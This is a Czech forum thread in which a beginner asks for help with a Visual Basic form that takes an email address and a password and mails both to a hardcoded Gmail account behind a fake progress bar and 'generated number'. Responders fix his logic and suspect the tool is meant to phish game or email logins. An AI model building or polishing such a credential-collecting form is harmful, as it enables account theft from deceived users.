
visual basic
Dá se udělat ve visual basicu toto:
If TextBox1.Text and TextBox2.Text = nějaký text v obou polích then
Potom se spustí nějaký proces
End If
Díky za rady
Dá se udělat ve visual basicu toto:
If TextBox1.Text and TextBox2.Text = nějaký text v obou polích then
Potom se spustí nějaký proces
End If
Díky za rady
Zpět do poradny Odpovědět na původní otázku Nahoru
If TextBox1.Text = nějaký text And TextBox2.Text = nějaký text Then
1.Kontrola emailu zkontroluje jestli se nezadává nesmysl a zkontroluje jestli je v text box 2 nějaký text.
2.Když něco bude chybět měl by se proces zastavit před odesláním.
3.Měl by se spustit timmer1 a loadding progressbar.
4.Vygenerovat číslo.
5.Hláška že je vše uspěšně dokončeno.
Díky za jakou koliv radu.
Imports System.Net.Mail
Imports System.Text.RegularExpressions
Public Class Form1
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
'kontrola emailu a zadaného textu
Dim FoundMatch As Boolean
Try
FoundMatch = Regex.IsMatch(TextBox1.Text, "\A(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$% &'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0- 9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)\Z", RegexOptions.IgnoreCase)
Catch ex As ArgumentException 'Syntax error in the regular expression
End Try
If Not FoundMatch Then
MsgBox("bad email addrese", MsgBoxStyle.OkOnly, "!!!ERROR!!!")
Else
MsgBox("addrese is ok", MsgBoxStyle.OkOnly, "---OK---")
End If
If TextBox2.Text = "" Then
MessageBox.Show("missing password", "!!!ERROR!!!", MessageBoxButtons.OK, MessageBoxIcon.Error)
Application.Restart()
End If
'poílaní
Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("xxx@gmail.com")
MyMailMessage.To.Add("xxx@gmail.com")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("xxx@gmail.com","xxx" )
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try
'časovač
SendMessage(ProgressBar1.Handle, 1040, 3, 0)
Timer1.Start()
'Generátor
If ProgressBar1.Value = 100 Then
Dim key As Integer
key = Int(Rnd() * 3)
Select Case key
Case 1
TextBox3.Text = "12345678"
Case 2
TextBox3.Text = "1234567"
Case 3
TextBox3.Text = "12345"
End Select
End If
'Závěr
MsgBox(" completed", MsgBoxStyle.OkOnly, "---OK---") Then
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(1)
If ProgressBar1.Value = 100 Then
Label3.Text = "completed"
End If
Label4.Text = ProgressBar1.Value & ("%")
End Sub
End Class
A otázka zní?
Jak to udělat aby to fungovalo.
• Ale jak ma fungovat co?
• Tak asi pres :
Pak zrejme jestli je obsazen "@" (jde-li o email), aby vepsana cast mela alespon "5 znaku" a podobne, nevim jak myslis zjistit, jestli tam neni napsany nesmysl.
Dám tu link ke stažení: ulozto-rar
Prostě to nepracuje po pořadě můžete skusit.
A když někoho něco napadne jak to upravit napište prosím.
Máš tam End If, který ale nepatří k žádnému Ifu.
Odeslání mailu a spuštění progressBaru přesuň do vlastní metody, která se zavolá pouze v případě, že validace textových polí v pořádku projde.
A používat Application.Restart je pro tyhle účely dost prasárna.
Jak to ale udělat.
Odeslání mailu a spuštění progressBaru přesuň do vlastní metody, která se zavolá pouze v případě, že validace textových polí v pořádku projde.
Poradíš my.
Vytvoříš novou metodu, přesuneš to do ní. V původní metodě tu novou zavoláš jenom v případě, že je vše v pořádku.
Napišeš mi to prosím do toho kodu co jsem tu nahoře dal.
Pořad nevím jak to tam přesně uďat.
Je to tvůj úkol, ne můj, takže se budeš muset snažit sám. Co přesně z toho mého popisu nechápeš?
Tvůj popis chápu ale nechapu jak to dat do toho kodu.
A co konkrétně teda nechápeš?
Tak ono to "jakože"skontroluje email a text když bude něco špatně tak se zastaví ten proces před odesláním.
Jak to teda zastavit.
Teď tam je že se aplikace když chybí text restartuje ale i přesto to odešle na ten email.
A i nopak když se zada text a nezada se email tak to tak odešle.
• tak udelej tu novou metodu, treba "Dim Moje_metoda as ....."
• Do té "Moje_metoda" dej podminky které kdyz budou true, tak za then das instrukci v tvém pripade na odeslani.
Na to aby nic nedelal, psat nic nepotrebujes, jestli to bude deklarované jako boolean a hodnota bude false, tak se nic neposle.
• Do Moje_metoda, das/deklarujes podminky, které kdyz budou true, tak se vykona instrukce. To uz pak zalezi na tobe, jestli ches aby se skontroval jestli je TextBox prazdny, nebo obsahuje znaky, jejich pocet etc. zkratka tam napis to, co ma splnovat aby byl odeslan.
• Jednoduse, zkus nebo pochopit zaklad, kdys napises
• Kdyz napises "ahoj" tak?
• Zkratka ten Email, se nemuze poslat jen tak sam. Primitivnejs uz to napsat nejde.
Napsal jsem to takhle
'kontrola emailu a zadaného textu
Dim FoundMatch As Boolean
Try
FoundMatch = Regex.IsMatch(TextBox1.Text, "\A(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$% &'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0- 9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)\Z", RegexOptions.IgnoreCase)
Catch ex As ArgumentException 'Syntax error in the regular expression
End Try
If Not FoundMatch Then
MsgBox("bad email addrese", MsgBoxStyle.OkOnly, "!!!ERROR!!!")
Else
MsgBox("addrese is ok", MsgBoxStyle.OkOnly, "---OK---")
End If
If TextBox2.Text = "" Then
MessageBox.Show("missing password", "!!!ERROR!!!", MessageBoxButtons.OK, MessageBoxIcon.Error)
End If
'POSLAT ANO NEBO NE
Dim kontrola As Boolean
If TextBox1.Text = "" Then
TextBox1.Text = False
Else
TextBox2.Text = ""
TextBox2.Text = False
End If
'poílaní
Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("xxx@gmail.com")
MyMailMessage.To.Add("xxx@gmail.com")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("xxx@gmail.com","xxx" )
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try
Ale nefunguje to.
Můsí se tam ještě něco dopsat.
• Ted tomu rozumim lip, na zacatku jsem si rikal, pro na overeni Emailu potrebujes 2x Text.Box, ale zrejme nejde o overeni emailu (na co staci jeden Text.Box1) ale odcizeni spis udaju cloveka co je tam napise a posle tobe na email, nepletu se?
(na to staci 5 radku) Protoze k cemu potrebujes kontrolovat password? (s vyjimkou kdyby slo o overeni psw v databazi, zrejme mySqlConnection, SqlClient, coz neni tvuj pripad)
Proc deklarujes "kontrola" kdyz ji nepouzijes? to jak kdyby tam Dim kontrola As Boolean nebyl, ani nema zadnou hodnotu, jak chces determinovat jestli je false nebo true? neni co overovat.
At ten kod analizuje, at je vysledek true nebo false, tak jsi nenapsal co ma vykonat za instrukci.
Jak to teda napsat?
Jak bys to napsal ty?
Musíš u toho psaní trochu přemýšlet a ne to tam naházet, jak ti to zrovna přijde pod ruku.
Pokud to někdo udělá za tebe, tak se toho moc nenaučíš.
Já nevím jak to udělat.
Dvě textové pole
Do Prvního se napíše email od koho to je
Do Druhého se napíše zpráva,text.
Pokaždé tam bude napsane něco jiného jiný email a text.
Imports System.Net.Mail
Public Class Form1
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
'poílaní
Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("xxx@gmail.com")
MyMailMessage.To.Add("xxx@gmail.com")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("xxx@gmail.com","xxx" )
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try
End Sub
Nikdo neví?
Co tohle?
Dim metoda As Boolean
If metoda = 1 Then
TextBox1.Text = False
ElseIf metoda = 2 Then
TextBox2.Text = False
End If
• Udelej potrebne TextBox, etc podle obrazku:
[img=/file/view/22031-capture-png]http://pc.poradna.net/file/view/22031-capture-png[/img]
• Pojmenovani a zbytek uz si snad dopises.
• S GrupBox muzes nechat zobrazit az po prihlaseni, typu ::
• Tezko rict co ches. Jestli posilat ze své Gmail.schranky, nebo jen Emaily dostavat z TextBoxu, opravdu nevim..
jen Emaily dostavat z Text.boxu na svůj email.
Jsem tu dával okaz: ulozto-rar
• To "generované číslo" tam mas proc? Me to spis pripadne, ze chces naivitou aby ti zaostalci poslali prihlasovaci udaje k urcitému kontu...at hernimu nebo mailovému..WoW, Steam?
Generované číslo jakože se vygeneruje číslo zprávy.
Pošleš email s textem pod nějakým náhodným číslem.
Když si něco obědnaš tak ti to dají pod nějaké čislo.
To by se pak mělo také odeslat .
Takové číslo se ale generuje na serveru, ne na klientovi. Co budeš dělat, až ti přijde více zpráv se stejným číslem?